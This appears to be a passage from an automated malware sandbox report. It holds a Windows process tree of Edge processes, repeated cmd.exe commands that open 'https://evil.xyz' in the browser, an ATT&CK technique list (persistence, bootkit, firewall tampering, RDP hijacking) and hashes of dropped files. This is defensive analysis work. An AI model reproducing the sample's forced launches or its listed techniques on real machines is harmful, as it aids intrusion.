      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=uk --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7028,i,1959824278803110396,14714484517789189947,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=7064 /prefetch:14
      4⤵
      PID:8604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6744,i,12580128334203087395,3068722807273346738,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
      4⤵
      PID:8984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6744,i,12580128334203087395,3068722807273346738,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
      4⤵
      PID:6604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7156,i,5425509455920670962,848802433936878017,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=7532 /prefetch:1
      4⤵
      PID:7740
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7188,i,9392939399385051785,13999607495202468909,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=7404 /prefetch:1
      4⤵
      PID:2656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6620,i,3374682238009772556,306044060399157765,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
      4⤵
      PID:1072
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1144
        5⤵
        
        PID:7348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=7368,i,7753062591248609572,4392126114855418203,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:1
      4⤵
      PID:6896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7392,i,3453100455222058428,9235612847680697735,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:1
      4⤵
      PID:2320
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=7996,i,7291478539871754386,9948345471520651567,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8000 /prefetch:1
      4⤵
      PID:9000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=8200,i,16339693953451858928,14959952516990574311,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8196 /prefetch:1
      4⤵
      PID:6324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=8368,i,6791061776021808043,7783909177088086867,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=7108 /prefetch:1
      4⤵
      PID:8232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=8552,i,2278367324319761311,3396651835761322569,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8564 /prefetch:1
      4⤵
      PID:4728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=8644,i,4968287271430532461,7265665796606781511,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8656 /prefetch:1
      4⤵
      PID:7980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=5940,i,10090337236496245727,3959413134778567064,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:1
      4⤵
      PID:7332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=8440,i,4251949104045913182,10157418046604290589,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8416 /prefetch:1
      4⤵
      PID:4400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=6040,i,12906032279169320482,12195305805791603512,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:1
      4⤵
      PID:6852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=3604,i,723502980159941472,9438695694673572190,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8832 /prefetch:1
      4⤵
      PID:5492
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=uk --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8908,i,10259634277609960212,17259463631254575972,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8860 /prefetch:14
      4⤵
      PID:4528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=8684,i,1238957895139463381,15711001362499453409,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=9120 /prefetch:1
      4⤵
      PID:6916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=8292,i,14352536597185019203,14914265169179074599,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8272 /prefetch:1
      4⤵
      PID:9456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=9192,i,473214500924856028,2125983884426186852,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
      4⤵
      PID:9920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --metrics-shmem-handle=5964,i,11617459977774599281,1157970062246608417,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8424 /prefetch:1
      4⤵
      PID:3180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --metrics-shmem-handle=9756,i,8191520953157180699,8304074059647365374,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=9744 /prefetch:1
      4⤵
      PID:9272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=3552,i,17994585773015376876,5651218008645733077,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8344 /prefetch:1
      4⤵
      PID:9692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=5516,i,10004107278230210248,5524679858793879007,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:1
      4⤵
      PID:9468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --metrics-shmem-handle=10044,i,4906200028950502373,3401931147815566195,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=10060 /prefetch:1
      4⤵
      PID:7112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --metrics-shmem-handle=10352,i,5573097831897431646,8667691677347977515,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=10360 /prefetch:1
      4⤵
      PID:9548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --metrics-shmem-handle=10532,i,7850810710047779333,3068990112876425268,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=10508 /prefetch:1
      4⤵
      PID:8088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=10684,i,2669611163370501433,4109464277367814591,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=10696 /prefetch:1
      4⤵
      PID:9576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=10848,i,16945682378463746194,1609269286354212675,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=10864 /prefetch:1
      4⤵
      PID:7688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --metrics-shmem-handle=5872,i,3814457539368354314,16662214145032879524,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=8176 /prefetch:1
      4⤵
      PID:9840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=11340,i,14750852849744092461,13096321624219220431,262144 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=10580 /prefetch:10
      4⤵
      PID:332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=uk --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7860,i,14128673884006808548,10731499298153952350,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:14
      4⤵
      PID:11048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=uk --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7944,i,5367812136708450328,8843863183086165584,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=3356 /prefetch:14
      4⤵
      PID:9132
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:6432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:2100
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:9160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:8796
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:8688
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:6372
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:236
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:9680
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:10224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:5256
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8964

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:8740

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2252

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:6516

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -lc WATCHDOG WATCHDOG-20260525-1627.dmp
1⤵
PID:13064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Remote Service Session Hijacking

T1563

RDP Hijacking

T1563.002

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 e39062a62c3c7617feeeff95ea8a0be51104a0d36f46e44eea22556fda74d8d9
MD5 ac4917a885cf6050b1a483e4bc4d2ea5
SHA1 b1c0a9f27bd21c6bbb8e9be70db8777b4a2a640f
SHA512 092c67a3ecae1d187cad72a8ea1ea37cb78a0cf79c2cd7fb88953e5990669a2e871267015762fd46d274badb88ac0c1d73b00f1df7394d89bed48a3a45c2ba3d
TLSH
T10B415C303161A5D84D435B1205286ED5E3EF478AAFAC8F5CB569231DCD2A44BD7121F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 90371bf7f2d9f3b60c0aa66ed89740cd725604cc541112971bd392e8746018f0
MD5 a9d241f865f7d582346ece871b98ee14
SHA1 c59a959f2a8673df7c09862b8f91a9e9492ec3cf
SHA512 4822e1484423dfa2530e9a541260d4dcddb675339b2e5fb22cf50c15d65cd0b147c7d94ff11a6d6523e90406c9ad88e5919ccc3fc5ec3b74cbfa28567977506e
TLSH
T1F3D01266374AB001E76D8230E4C2C311266654E038864A01B214C81D99A41D86293186
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 92e71b18cc218fa24ad8435c60697e7c57264ec817aaf8090b0bca9ad3f8a047
MD5 835ff967c81c15a11558c1a16400fbcd
SHA1 e5f0b8ac3a5597c069467d7a91d51dce8c99c272
SHA512 397a165e13e51438c9b769a8b470df8fab625e008a92beacced95814d3fea839dbac6712589e7b7835dce92b2a1f1ba4cc38e4ff6c3b3cc02b585a6be2706853
TLSH
T117D01266374AB001E7698230E4C2C311266650E138864A01B214C81DA9A41E86293186
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 e95fc72f190d82843b0fe95c355aab2e7b2d12555e8ce69499d86746fc706b88
MD5 fb7d79de73efee9d124a6d48999a6d90
SHA1 a839e5c586d0ced8e306fd96e4e15e086d253d44
SHA512 34e048cda067162b4494334cb5ced68e073af1f7e11b81dbaf68b492d3fdd3671b010e9640f1868a50b50960761f22f160ca75a9d3b268c99959d6190979651c
TLSH
T101F02DF5C922DC2708FE0B2934941B06E755136B2B80495F3F3C420D8FB463B459591C
MD5 SHA1 SHA512 TLSH

Submit Download

f_000097

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000097
Size 30KB
SHA256 33127642d6f97263dafd955f92bb937b19d591b4afd22312bc636d7b0e195089
MD5 6a2e2ff853bbb757b2d6d6db3d3d15c9
SHA1 3630d8ba638f12441761c898d03a549cd255f555
